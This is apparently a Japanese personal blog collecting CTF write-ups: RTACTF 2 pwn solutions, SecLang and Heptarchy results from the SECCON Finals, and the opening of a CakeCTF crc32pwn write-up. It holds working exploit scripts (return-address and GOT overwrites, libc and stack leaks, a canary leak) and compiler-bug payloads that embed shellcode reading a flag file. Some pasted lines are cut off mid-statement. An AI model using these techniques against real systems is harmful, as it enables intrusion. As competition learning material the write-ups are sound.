RTACTF 2で走者として走りました🏃

実は3日前まで走ることを知らなかった

なぜか走者として走ることが決まっていた・o・

RTA CTF

RTA CTFは、~30分程度で解くことが可能な比較的簡単な問題を、どれだけ高速に問題を解くことができるかを競うものです。 特に、競技者は、リアルタイムで解く様子の画面配信を行い、解説者はそれについての解説を行います。 大会の様子はyoutubeアーカイブから見ることができるのでぜひチェックしてみてください。

www.youtube.com

僕は、pwnableの問題の走者として参加しました。もはや(CTFやってなさすぎる)僕より適任者いると思うので多分今回でクビになると思います。

また、以下ネタバレを含みます が、もしネタバレなしで挑戦したい場合数日中はサーバーが動いていると思うので、ぜひ挑戦してみてください!(そんな時間かからないと思うので暇つぶしにとても良いと思う)

RTACTF 2023

RTA CTFの走者のつらさ

沼るとそれが全世界に公開されて、つらい。

正直今これをやったら本当にガチで配信を冷やしてしまうと思っていたので、正直拒否しようかとすら思った。

まあ耐えたのか耐えてないのかは知らないですが、とりあえず一定程度走ったのでいかにwriteupをまとめます。

writeup

before-write

BOF & win関数(shellを実行してくれる関数)あり、PIE & canaryなしなので、単にリターンアドレスを書き換えれば良い。

payload = p64(0x4011b6) * 20
recvuntil("value")
sendline(payload)
interactive()

rta1.py · GitHub

ファイルのダウンロードからの展開や解析にやや手間取ったがほぼつっかえずに解くことができた。

✔129.69 sec

write

bssにある配列arrayの配列外参照による書き込みができる。 Partial RELROだが、一瞬何を書き換えるねんとなる。 以下のプログラムをよく見ると

ssize_t array[10];

/* 省略 */

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  ssize_t index, value;
  index = getval("index: ");
  value = getval("value: ");
  array[index] = value;
  return 0;
}

getvalでBOFが存在するので、オーバーフローをしながら数字を入力させて、_stackなんとかを呼び出させつつそいつのGoTを書き換えて、winを呼び出せば良いとわかる

問題はここからで、沼ったポイントとして、事前に用意しておいたショートカット用スクリプトのテストをちゃんとしていなかったら、そこでややバグらせが発生しており、時間をつぶしてしまった。負け。

win = 0x4011b6

idx = 0x60 // 8
idx = -idx
print(idx)
rs(str(idx).encode("ascii") )
wait_for_attach()
rs(str(win).encode("ascii") + p64(0) + b" " * 1000)
interactive()

rta1.py · GitHub

想定時間内にとき終わらなかった🥹

❌902.50 sec

read-write

3回書き込みか読み込みができる。Full Relroだが、no PIE。

int main() {
  size_t index, value;

  for (int i = 0; i < 3; i++) {
    switch (getval("1. read\n2. write\n> ")) {
      case 1: // read
        index = getval("index: ");
        printval(array[index]);
        break;

      case 2: // write
        index = getval("index: ");
        value = getval("value: ");
        array[index] = value;
        break;

      default:
        return 0;
    }
  }

  return 0;
}

第一感としてはlibcのアドレスはGOTから雑にリークできるので、最終的にはlibcのGOT書き換えあたりをしたいなあという感情になる。ただlibcのGOT周りは使われている関数が弱そうなあたりとこういうのしていると沼りそうだなあというあたりで、ちょっと困っていたが、冷静に考えるとlibcアドレスリークからのenvironによるstackアドレスリークで、リターンアドレスを書き換えてのRCEで良さそうとなる。

array_addr = 0x404040
win_addr = 0x4011d6

idx1 = str(-0x80 // 8)

rs(str(1), r="> ")
rs(str(idx1).encode("ascii") )
libc_addr = int(recvline())
environ = libc_addr + 0x10c7e0

print(hex(environ))
idx2 = (environ - array_addr) // 8
print("idx2: ", idx2)
rs("1", r="> ")
rs(str(idx2).encode("ascii") )
stack_addr = int(recvline())
print(hex(stack_addr))

ret_addr = stack_addr - 0x120
print(hex(ret_addr))

idx2 = (ret_addr - array_addr) // 8
print("idx2: ", idx2)
rs("2", r="> ")
rs(str(idx2).encode("ascii") )
wait_for_attach()
rs(str(win_addr))
print(hex(stack_addr))

フルのソルバー: rta1.py · GitHub

✔802.53 seconds

only-read

タイトルが示唆するように、無限回試行ができるようになった代わりに、write機能が消される。ひどい。

int main() {
  size_t array[10] = {};

  for (;;) {
    ssize_t index = getval("index: ");
    if (index >= 10) break;
    printval(array[index]);
  }

  return 0;
}

しかも地味になぜかarrayがstackに移されている。その上でarrayの+方向へのover readはできなくなっている。

ここで、まだgetvalにBoFが残されていることを思い出す。

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

checksecを見直すとcanaryがあるため雑なBoFはできないが、書き込める系脆弱性がこのBoFしかなさそうなことを考えると、なんとかcanaryをリークできないかという気持ちになる。 正直最初の感覚としてはstackの上の方に落ちてへんかなと思ったが、ちゃんとこれはマクロを通してgetvalが実装されていることもあり、stackの上の方にはcanaryは落ちていなかった。

そうすると、できそうなことは気合のmaster canary readで、これは(実際あとの方で悩まされることになるが)offset周り等でちょっと面倒になりそうで嫌だなとは思ったものの他に何も思いつかなかったのでこれで突撃した。

あとは、基本的にstackの上に落ちているいい感じのポインタ探しをすると、master canaryのポインターをなんとかリークできる。

rs(str(-0xe40 // 8))
nazo_addr = int(recvline())
print("nazo_addr", hex(nazo_addr))
#canary_addr = nazo_addr - 0x2389d8
canary_addr = nazo_addr - 0x2389d8 + 0x1000 * diff
print("canary_addr", hex(canary_addr))

stack_addr = rs(str(-2))
stack_addr = int(recvline())
print("stack", hex(stack_addr))

array_addr = stack_addr - 0x5f
print("array_addr", hex(array_addr))

idx = (canary_addr - array_addr) // 8
rs(str(idx))
canary = int(recvline())
print("canary: ", hex(canary))

あとはBoFからのwin関数呼ぶだけかと思いきや、winがない。まあいうてROPするだけでは、となったが、ここでガチの沼にはまる。 ライブ的には、 https://www.youtube.com/live/c8Q5yB3w5Og?feature=share&t=4629

いつもの、実家のような安心感という気持ちで、rp++(をラップしたスクリプト)を叩くと、、、

libcにpop rdi; retがない!「そんなわけある?」「いやでも最近CTFしてないし世情に疎いな」「現代のlibcはこんな謎mitigationをしていてもおかしくないかもしれない」などの迷思考にハマり、ROPチェーンが雑に組めないことに絶望する。

そのままゲーム終了。終了後、「普通にpop rdi; retありますよ笑」と言われ、rp++がバグっていたことが判明する *1

github.com

そんなことある? 感動しました

--uniqueを無くしたらいっぱい表示されました

最後、微妙にサーバー上のアドレスオフセットをguessする動作が必要になったが、基本的にはそのまま解ける

rta1.py · GitHub

❌5317.45 seconds

感想

本当に体力の消費がやばい。

スコアボードにフラグを登録するときに誰もいなかったときは気持ちがいい。(配信用にDiscordの隔離部屋につないでいるのだが)競争相手が隔離部屋からいなくなると焦りがやばい。

あと普通によくわからないバグが起きたとき(例えば上の自分のテンプレートに謎バグがあったときなど)、割とある種のパニックみたいになる。普段なら腰を据えて、さあコーヒーでも飲んでデバッグするか、となるところが、それを許されない状況なので。

なかなか過酷なイベントだが、振り返ってみると走者としては楽しかったです。運営おつかれさまでした & ありがとうございました。

*1:pwnyaaさんが教えてくれた: https://twitter.com/pwnyaa/status/1638084052107563008

SECCON Finals WriteUp (SecLang, Heptarchy)

KoH + Jeopardyという問題構成。KoHは3問あり、1日目に1問、2日目に2問出題された。1日目の問題はpwn色の強い問題、2日目はrevとcrypto(?)っぽい問題。 KoHには昼間の間取り組むことが可能であり、Jeopardyは2日間共通だったため家で取り組むことができた。

なおTSGのメンバーとしてinternationalの方に参加させてもらったものの順位は... *1

KoH SecLang (Pwn)

概要

Pythonで書かれた独自言語のコンパイラが与えられる。

競技者は次の2つのことをすることが可能 1. コンパイラにパッチを当てバグを修正する。 2. 他チームのコンパイラのunsound holeを攻撃する。

5分に1回、コンパイラが正しく動作しているかのテストが走り点数が加算される他、他人のコンパイラでRCEに成功してフラグが盗めた場合、点数を得ることができる。

また、他人のコンパイラの攻撃に対するfeedbackとして、コンパイル結果のアセンブリが得られる。これによって、他のチームのコンパイラにどういうmitigationが入っているのかをある程度推察することができる(これに基づいて、チームごとにカスタムした攻撃プログラムを書くことができる)。

コンパイラの実装

言語としては何likeなといえばいいかわからないが、強いて言えば言語仕様はPythonに近い。Pythonのコードを与えられてコンパイルしてx86_64 asmにする(バグりまくりの *2コンパイラが与えられたといえばだいたい正しい。 プログラム例としては、配布されたサンプルとしてフィボナッチ数を計算するプログラムは次のようになる。

func fib(n) {
  if n <= 0 { return 0; }
  if n == 1 { return 1; }
  if n == 2 { return 1; }
  return fib(n-1) + fib(n-2);
}

func main() {
  print("n = ");
  n = scan();
  if n > 20 {
    print("n is too big!\n");
    exit(1);
  }
  print("fib(");
  print(n);
  print(") = ");
  print(fib(n));
  print("\n");
}

コンパイラがやっていることは、

  1. parseしてASTを得る
  2. ASTを歩いて、各exprから対応するアセンブリを生成する

であってとても単純。

例えば、x + 4 という式に対しては、x4アセンブリを生成し、結果がstack上に配置(値と型タグのpair)されているので、それらをpopし、add(sub)した結果をpushする。

    def add_expr(self, tree):
        """Add/Sub operator
        x+y, x-y
        """
        if len(tree.children) == 1:
            self.visit(tree.children[0])
        else:
            self.visit(tree.children[0])
            op = tree.children[1]
            self.visit(tree.children[2])
            self.code.pop_value('rdx', 'rbx')
            self.code.pop_value('rax')
            if op == '+':
                self.code.text(["add rax, rdx"])
            elif op == '-':
                self.code.text(["sub rax, rdx"])
            else:
                raise CompileError("Unreachable")
            self.code.push_value('rax', 'rbx')

コンパイラのバグ

このコンパイラには色々なバグが含まれている

type confusion

func one() {
  return 1;
}
func main() {
  print(one + 0);
}

関数と整数を足し算すると、その結果を整数として手に入れることができる。

func main() {
  x = 1;
  x();
}

逆に、整数を関数として使うことができることも

配列外参照

func main() {
  x = [1, 3];
  x[10000] = 1;
}

セグフォ

配列の "UAF"

call stackの上の方で配列を作って返すと、UAF的に

func f() {
  x = [1; 3];
  return x;
}
func main() {
  x = f();
  print(x[0]);
}

これはセグフォ

引数の数

func f() {
return 5;
}
func main() {
  x = 1;
  x = f(2, 3, 4);
  print(x);
}

これは5を返す。

などなどのバグが有り、これらを利用して、サーバー上の/flag.txtを得ることを目指す。*3

writeup

このバイナリでは、stackがrwxなので、シェルコードをここにおいて実行すれば良いことがわかる。シェルコードは単にopen -> read -> writeをするものを作れば良い。 基本方針は、配列を用いてこのガジェットをstack上に配置し、type confusionを用いて、このstack上のポインタを"呼び出す"。

payload 1

チームによってmitigationが異なったので、微妙にpayloadを変えている。まず、ほとんどのチームに刺さるのが

func toi(x) {
    ar = [x; 1];
    dum = [1; 1];
    return dum[6];
}
func tof(x) {
    ar = [x; 1];
    dum = [toi; 1];
    return dum[6];
}
func main() {
    fibtxt = [0xdead; 1];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = toi(fibtxt) + 16;
    uouo = [0xdead; 20];
    wai = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
wai[0] = uouo_addr;
f = tof(wai[0]);
f(fib_addr);
}

というpayload。これは、配列外参照を用いてtype confusionを起こしている。 ちなみに、一度waiという配列に入れてから取り出しているのは、関数呼び出し時の型チェックを回避するため(これは比較的実装しやすい)。 効いていたかはあんまちゃんと調べてないからわからない。

また「fib」とかいているのは、実は「flag」の意味で、悪い人間がflagという文字列を書いたら落とすようにしてたりしそうだと思ったので置換した。

payload 2

上の例では配列外参照を用いているが、実はこれはパッチしやすい。実際Dice Gang、Super Guessrは早々にこれに気づいてパッチしていた模様(悔しい)。 とはいえ、この2チームは 「整数 + 配列」のtype confusionには対処していなかったので、これを用いてtoi/tofを実装すると、攻撃できた

func toi(x) {
    return x + 0;
}
func main() {
    fibtxt = [0xdead; 5];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = fibtxt + 16;
    uouo = [0xdead; 20];
    peko = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = uouo + 16;
peko[0] = uouo_addr;
f = peko[0];
f(fib_addr);
}

足し算でのtype confusionを用いて配列外参照なしで、exploitしている。

payload 3

これはhxp専用。なんでかしらんけど(忘れた)、type checkしている?っぽいし、配列外参照も気にしている?っぽい?よく分からん。なんかでもこれでpwnできた。一番目だとpwnできない(はず)。

func toi(x) {
    ar = [x; 1];
    dum = [1; 1];
    return dum[6];
}
func tof(x) {
    ar = [x; 1];
    dum = [toi; 1];
    return dum[6];
}
func main() {
    fibtxt = [0xdead; 5];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = toi(fibtxt) + 16;
    uouo = [0xdead; 20];
    peko = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
peko[0] = uouo_addr;
f = tof(peko[0]);
f(fib_addr);
}

perfect blue

最後(最後の1h?)、かなり真面目なパッチを当ててきて、pwnできなかった(というかまだunsound holeがあるのは分かっていたが時間効率的にやっても仕方ないかと思ってやらなかった)。

何をやっていたかというと - heap領域をちゃんと確保(上述のUAFバグ回避) - 配列の各要素に型タグを追加 - 型チェックの導入

で、特にこの2番目の影響でstack上の連続した領域にシェルコードを貼る方法を雑にやるのが、直ちに分からなかったので、諦めた。 多分international teamの中で一番よくできたパッチだったと思う。

入れた mitigation

上のpwnと並行して、コンパイラのmitigationも行った。とはいってもとても簡単なもの。それでもおそらく数チームの攻撃を防いだと思われる。

  • 定数のロードが /flag.txっぽかったら落とす(カス)
  • 配列外参照しそうになったらexit
  • 関数呼び出しの際に実際にそれが関数の型を持つかを判定

程度。開始段階で、ちゃんとやるなら、上のUAF問題をなんとかしないといけないと思ったので(pbが最終的にやっていたように)開始当初にmmap領域を作って、そこからarrayをallocするようにしようとしていたが、普通に発狂して終了し(コンパイラの構造を雑に理解するのがしんどかった)、ひたすらpwnする方針に切り替えた。正直方針ミスだった(とりあえずpwnする方向で最初からやっていれば)なあとあとから思う。 *4

これ2日目があったら、1日目で圧倒的コンパイラを完成させ2日目でひたすら点数を稼ぐ(&強いコンパイラを頑張ってpwn)みたいなのができたかもしれないので、それはそれで面白かったかもしれない。

KoH Heptarchy (Rev)

1時間ごとに異なる言語で書かれたバイナリが与えられるので、それらをrev *5 して、"できる限り同じバイナリを吐くような" ソースコードを提出しろ!という趣旨の問題。スコアは、提示されたコンパイル環境下で生成されたアセンブリの提示されたバイナリとのdiffの大きさにより計測。KoHで5分に1度評価があり(つまり1バイナリにつき12回評価がある)、diffの小さい順に、1位が20点、2位が18点...。diffの取り方はなんか知らんけど賢い方法でされてるらしい。oracleとして"信じた"ので実際ここもhackできる余地があったのかも。

インラインアセンブリが埋め込めるCなどは、実はアセンブリをべたと貼り付けるといけたのかもしれないが、基本的にはC++とかRustとかDとかはインラインアセンブリがあっても、polymorphismが解決された後それに基づいてexpansionされた実装が出力されてほしいやつとかに対処ができないと思うので、C以外だとその戦略は難しそうだった(Cでもまあまあちゃんと動くようにするの面倒そうで、1時間しか無い & はやく提出しないと大した点にならないことを思うと題意通りにやるのが正解そう)。また、importの仕方や変数の宣言の仕方等も影響するので、"いい感じ"に模倣できたあとは、プログラムを摂動させて、スコアを縮めていった。

言語は全部で6(7?)種類

  • C
  • C++
  • Rust
  • Go
  • Python
  • D
  • C (emccで吐かれたwasm rev)

基本的にやったことは

  1. ほとんど無( fn main(){} のような)を提出して、とりあえずスコアを得る
  2. revをちょっとずつしていってスコアが上がるたびに提出する

というものの繰り返し。難しいのは、GoやDなどは、適切にimportしたライブラリの機械語がバイナリに含まれていないと、diffが大きすぎて(タイムアウトにより)実質的に未提出と同じになる問題。このためGoやDなどは(本当は)それっぽいimportをしてdiffを落として正の点を得られるようにしておくことが大切だったが、あまり上手にはできなかった。

実際のところ最終順位よりもどれだけ長い間、良い順位にいたかが重要だが、まあ分かりやすいので各言語についてdiffと最終順位(discordに貼られていたグラフに基づくので正直嘘かも)を表記する。

あと意外と面白かったので当該の時間帯のChromeの履歴を貼ってみようと思う。

C

  • 最終順位: 7th
  • diff: 912

初手でIDAでデコンパイルして、近づけて終わり。ゲーム性を理解し始める段階で終わってしまった。if文の順序とか、assertを適切にしたつもり *6

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <limits.h>

// (__int64 a1, __int64 a2, __int64 a3, __int64 a4)
long myers_diff(char *f1, unsigned sa, char *f2, unsigned sb) {
      assert(sa < LONG_MAX/2 && sb < LONG_MAX/2);
    long max = sa + sb;
    if ( (unsigned long long)(sa + sb) > 0x7FFFFFFFFFFFFFELL );
      assert(max < (LONG_MAX/2-1)/sizeof(ssize_t));
    char *calloc_buf = calloc(2 * max + 1, 8uLL);
    long i, j, k;
    long result = 0;
    long v12;
    for ( i = 0LL; ; ++i )
    {
        result = i;
        if ( i > max )
            break;
        for ( j = -i; j <= i; j += 2LL )
        {
            if ( j != -i && (j == i || calloc_buf[max - 1 + j] >= calloc_buf[max +)
                v12 = calloc_buf[max - 1 + j] + 1LL;
            else
                v12 = calloc_buf[max + 1 + j];
            for ( k = v12 - j; v12 < sa && k <= sb && *(char *)(v12 + f1) == *(cha)
                ++v12;
            calloc_buf[max + j] = v12;
            if ( v12 >= sa && k >= sb )
                return i;
        }
    }
    return result;
}

long int get_size(FILE *f) {
    fseek(f, 0LL, 2);
    long int v2 = ftell(f);
    fseek(f, 0LL, 0);
    return v2;
}



int main(int argc, char* argv[]) {
    FILE *f1;
    FILE *f2;
    unsigned sa;
    unsigned sb;
    char *buf1;
    char *buf2;
    if ( argc <= 2 )
    {
        printf("Usage: %s <file1> <file2>\n", *argv);
        return 1;
    }
    f1 = fopen(argv[1], "r");
    if ( !f1 )
    {
        perror(argv[1]);
        return 1;
    }

    f2 = fopen(argv[2], "r");
    if ( !f2 )
    {
        perror(argv[2]);
        fclose(f1);
        return 1;
    }
    sa = get_size(f1);
    sb = get_size(f2);
    buf1 = malloc(sa);
    if ( !buf2 )
    {
        fclose(f2);
        fclose(f1);
        return 1;
    }
    buf2 = malloc(sb);
    if ( fread(buf1, 1uLL, sa, f1) == sa && fread(buf2, 1uLL, sb, f2) == sb )
    {
        long int v4 = myers_diff(buf1, sa, buf2, sb);
        printf("%ld", v4);
    }
    free(buf2);
    free(buf1);
    fclose(f2);
    fclose(f1);
    return 0;
}

検索履歴

C++

これもとりあえずIDAにブチ込むと、当社比比較的読みやすいC++が現れたので、メソッド名等からclassが使われていることなどを類推して書いた。C++よくわからんけど、とりあえずautoって書いておけばなんか型があったので助かった。これのせいでむしろ合わなくなっているところもあったのかも。

  • 最終順位: 5th
  • diff: 3844
#include <iostream>
#include <string>
#include <iomanip>
#include <vector>

using namespace std;
class RC4 {
    vector <unsigned char> v;
    public:
    RC4(string key) {
        int i;
        int j;
        v.resize(256);
        for (i = 0; i <= 255; i ++) {
            v[i] = i;
        }
        for ( j = 0; j <= 255; ++j ) {
            auto v3 = v[j];
            auto v9 = v3 + key[j % 4];
            auto v5 = v.at(v9);
            auto v6 = v.at(j);
            swap(v5, v6);
        }

    }
    char * encrypt(string text) {
        //return new string;
        auto v2 = text.size();
        auto v8 = new char[v2];
        unsigned long long v10;
        unsigned long long v11;
        v11 = 0;
        v10 = 0;
        int i;
        for (i = 0; i < text.size(); i++ ) {
            v10 += v[++v11];
            auto v3 = v.at(v11);
            auto v4 = v.at(v10);
            swap(v4, v3);
            //char v5 = v[v11];
            //char v6 = v[v10];
            //v3  = v[(unsigned long long)(v5 + v6)];
            v8[i] = text[i] ^ v3;
        }
        return v8;
    }
};
int main(void) {
    string key;
    string text;
    char *result;
    int i;

    cout << "Key: ";
    cin >> key;
    cout << "Plaintext: ";
    cin >> text;
    auto rc4 = RC4(key);
    cout << "Ciphertext: ";
    cout << hex << std::setfill ('0');

    result = rc4.encrypt(text);

    for ( i = 0; i < text.size() ; ++i )
    {
        cout << setw(2);
        cout << result[i];
    }
    cout << endl;
    //if (result)
    delete result;
    return 0;
}

検索履歴

Rust

  • 最終順位: 5th
  • diff: 22048

普段Rust使ってる身としてはもっと上手にいけると思っていたら全然うまくいかず涙を流していた。rem_euclidという関数を初めて知りました。

use std::io;
use std::io::BufRead;
use std::io::Write;

fn get_player_hand(a1: i32) -> i8 {
    print!("Player {} Hand [Rock/Paper/Scissors]: ", a1);
    let mut buffer = String::new();
    io::stdout().flush().unwrap();
    let stdin = io::stdin();
    stdin.read_line(&mut buffer).expect("I/O error");
    let buffer = buffer.trim();
    let buffer = buffer.to_lowercase();
    if buffer == "rock" {
        0
    } else if buffer == "paper" {
        1
    } else if buffer == "scissors" {
        2
    } else {
        panic!("Invalid hand")
    }
}

fn main() {
    let hand1 = get_player_hand(1);
    let hand2 = get_player_hand(2);
    let sub = (hand2 - hand1).rem_euclid(3);
    let s =
    if sub == 0 {
        "Draw!"
    } else {
        match sub {
            1 => "Player 1 wins!",
            2 => "Player 2 wins!",
            _ => unreachable!(),
        }
        //if sub == 1 {
        //    "Player 1 wins!"
        //} else if sub == 2{
        //    "Player 2 wins!"
        //} else {
        //    panic!();
        //}
    };
    println!("{}", s);
}

検索履歴

Go

  • 最終順位: 4th
  • diff: 576

これとても悔しい。というのもfmtをimportしてprintlnするまでライブラリパートがバイナリに含まれていないことによるdiffが大きすぎるために点数が入っていなかったことに気づいておらず30分くらい経過してから初めて点が入ったので。 shrinker/expanderの復元から始めたが、明らかに先にmainを復元するべきだったし、そもそも実行するのがおそすぎてヒントがあることに気づいたのが結構後だった。 revはちゃんと実行してから解析しようね。 *7

ところでquitに渡している値がなんなのかはよく分からなかった。

package main

import ("fmt")

var (
    main_counter int
)

func shrinker(c chan int, quit chan int) {
        for {
            elem := <- c
            if elem == 1 {
                break
            }
            if elem & 1 == 0 {
                elem /= 2
                main_counter += 1
            }
            c <- elem
        }
        quit <- 0
}
func expander(c chan int, quit chan int) {
        for {
            elem := <- c
            if elem == 1 {
                break
            }
            if elem & 1 != 0 {
                elem =  3 * elem + 1
                main_counter += 1
            }
            c <- elem
        }
        quit <- 0
}

func main() {
    var a int
    fmt.Print("Number: ")
    fmt.Scan(&a)
    if a <= 0 {
        fmt.Println("Invalid number")
    } else {

         fmt.Println("[DEBUG] quit := make(chan int)")
        quit := make(chan int)
        fmt.Println("[DEBUG] c := make(chan int)")
        c := make(chan int)
        fmt.Println("[DEBUG] go shrinker(c, quit)")
        go shrinker(c, quit)
         fmt.Println("[DEBUG] go expander(c, quit)")
        go expander(c, quit)
        c <- a
        <- quit
        fmt.Println(main_counter)
    }
}

検索履歴

Python

  • 最終順位: 5th
  • diff: 392

Python 3.12とかいう新しいバージョンのPythonなので、uncompyle6をインストールした時間が無駄になる。事前にコンパイラが配布されているのでちゃんと中身を確認しておけばよかった。 decompileができないので仕方なくdisをして読む。難読化されているわけでもないのでまあ読める。

実装は基本的には、RSA暗号風の暗号化と復号をするプログラム。後から思うと range(k)のkってなんやねんとなっていたが、そこは読めていなかった(isPrimeは2引数関数だった)。

#!/usr/local/bin/python

import random

def isPrime(n=10):
    if n == 2 or n == 3:
        return True

    if n & 1 == 0:
        return False
    s = n -1
    r = 0

    while s & 1 == 0:
        s  >>= 1
        r += 1
    for _ in range(k):
        a = random.randrange(2, n - 1)
        x = pow(a, s, n)
        if x == 1:
            continue
        if n - x == 1:
            for _ in range(r - 1):
                x = x * x % n
                if n - x == 1:
                    break
            else:
                return False
    return True



def getPrime(bits):
    while True:
        p = random.randrange(1 << bits, 1 << (bits + 1))
        if isPrime(p):
            return p

if __name__ == '__main__':
    p = getPrime(256)
    q = getPrime(256)
    r = getPrime(256)
    n = p * q * r
    e = 65537
    m = int.from_bytes(input("Text: ").encode(),"big")
    if m > n:
        print("Too long")
        exit(1)
    c = pow(m, e, n)
    print(f'Cipher: {hex(c)}')

    phi = (p - 1) * (q -1) * (r  -1)
    d = pow(e, -1, phi)
    mm = pow(c, d, n)
    assert(m == mm)

検索履歴

D

  • 最終順位: 1th
  • diff: 1188

これが結果的に一番うまくいった。 開始当初は、Dとか書いたことないしできるわけなくて草と思っていたが、みんな馴れてないらしく、普通に提出が全チーム遅かった気がする。 この問題も適切にimportしないと大きなdiffが出てしまうタイプの問題だったので、importガチャに成功したのも良かったかも。

IDAで開くと結構分かりやすいバイナリだった。write -> readln -> stripをしていそうな様子や、check_passwordの結果に基づいてwritelnをしている様子がわかる。 またcheck_passwordも、シグネチャから、equalというある種のadhoc多相がなされた関数が利用されていそうな様子や、lambda式(特にこれは、closureとして一度確保したものを利用している。直接s.map!の引数に渡すとやや生成されるコードが変わる)が使われていそうな様子、各入力文字に対してxorして比較する様子などが意外と分かりやすい。

最後若干のdiffをうめたいと思ったが、謎ptrace(デバッグ検知でよくある感じのやつが)mainの先頭に置いてあり、これをどうやって出しているのかで試行錯誤して一番diffが小さいものを提出した *8

import std.stdio;
import std.string;
import std.algorithm;
import std.algorithm.comparison : equal;

extern (C) int ptrace(int x, int y, int z, int w);
extern (C) int exit(int x);


bool check_password(string arg) {
    auto s = arg.dup;
    auto f = (dchar x)  => x ^ 0x77;

    auto v4 = s.map!(f);

    auto v5 = [58, 22, 28, 18, 87, 51, 90, 27, 22, 25, 16, 87, 48, 5, 18, 22, 3, 87, 54, 1;
    return equal(v4, v5);
}


void main(){
    if (ptrace(0, 0, 1, 0)) {
        return;
    }
    write("Password: ");
    auto s=readln;
    auto v6 = strip(s);
    if (check_password(v6)) {
        writeln("Correct!");
    } else {
        writeln("Wrong...");
    }
}

検索履歴

一番検索した

C(wasm)

  • 最終順位: 6th
  • diff: 7734

これは無理すぎ?wと言って諦めた *9

諦めたと言ってもなんかそれっぽいものだけ提出した

#include <stdio.h>


static unsigned __internal_bruteforce(unsigned x, unsigned y, unsigned z) {
    if (x > y) {
        return z;
    }
    return y;
}
static unsigned bruteforce(unsigned x, unsigned y) {
    if (x > y) {
        return y;
    }
    return x;
}
static unsigned oracle(unsigned x) {
    for (int i = 0; i < x; i++) {
        return bruteforce (x, x);
    }
}

int __original_main() {
        puts("[+] Computing...");
    int r = __internal_bruteforce(1044, 1, 3);
    printf("Hit: %d\n", r);
    puts("[+] Done");
    return 0;

}

int main(void) {
    return __original_main();
}

検索履歴

CTFerじゃないからwasm2cの使い方毎回ググってる

Jeopardy

え、なんで一問も解けていないんですか?こまった。。。

babyescapeをやっていた(& diagemuをやっていた)が、Kernelオブジェクトを上手に扱うことができず最終的に大量のKernel panicを見るだけになってしまった。悲しい。

正直後から考えると色々正気じゃないパートがあり、sanity check失敗と話題に。

ログ

かわいそう。

履歴はいっぱいあるけど(面倒で全部あげないけど)最後にchatGPTに聞こうとするところだけ面白い

感想

コンテスト全体の満足度が高かった。問題はよく練られていたと思うし、ネットワークも安定しており、インフラも基本的に安定していた。 あと、昼ごはんの謎弁当がおいしかった。 このレベルのコンテストを維持するのは大変だと思うのですが、来年以降も楽しみにしています。

*1:Jeorpadyで分からせられてしまった

*2:ここでいうバグとは、memory corruptionを起こすようなプログラムを吐いてしまうというバグ

*3:他にもwhile文の中で変数を確保すると、stack pointerが適切に移動しなくなるなどのバグがあるらしい

*4:ちなみに、ガチのカスパッチとして、クソデカ定数が来たら落とすというのを実装していたら、テストケースででかい数字を扱うプログラムが有り点数を逆に失った

*5:どうでもよいが、大会後国内大会で優勝したチーム_(-.- _) )_のkeymoonさんが、「st98さんがずっとこの問題をやっていたから、Webだと思っていた」といってたのがちょっとすきだった

*6:と書いていたら、明らかに無駄なif文を見つけてしまい、お気持ちに

*7:どうでもいいが、mikitさんにgolangのバイナリ出たわ〜って離したら、「え、じゃあgoroutineとかかな!」って大声でいうから、おいおい静かにってなっていた。

*8:実は単にinline assemblyを書いているだけだったらしい

*9:隣のhxpに後で効いても無理すぎ?wつってたし多分無理すぎだと思ってるけど普通に解いている人間がちらほらおるんだよな

CakeCTF、ありがとう

CakeCTF 2022 開催、ありがとう

たのしかったです。ありがとうございました。良質で面白い問題ばかり星5つです。

思ったことを羅列するエントリです。

crc32pwn writeup

この問題、非常に綺麗に解けたので、writeup書きます。なのでこのエントリはwriteupです。

問題設定

引数からファイル名の列を受け取って各ファイルのcrc32を計算してくれるバイナリ

pwn@88ce787fe93d:~$ crc32sum /etc/passwd /etc/hostname
/etc/passwd: fda42dee
/etc/hostname: 0a5ac61d

問題環境はシェルが提供されており、permission上crc32sumを用いればflagが読めるようになっている。

問題のCファイルはここにあるのでどうぞ。

github.com

libcは2.31。フラグの長さは53バイト。

方針

内部実装として、 fstat をして st_size を読んで、mallocでその分のサイズのバッファを生成し、そこにファイルの中身を読み出す、となっていて、例えば 名前付きFIFOなどの特殊ファイルは、st_size が0になるので、ここでヒープバッファオーバーフローが起こる。

このバイナリでは、ファイル名を保存するバッファとファイルの中身を保存するバッファの2つを作るので、以下のようなヒープのレイアウトになるように、バッファの名前とファイルの中身を適切な長さを調整する。

┌────────────┐
│   A: 0x20  │
├────────────┤
│   B: 0x20  │
├────────────┤
│            │
│   C: 0x40  │
│            │
├────────────┤
│            │
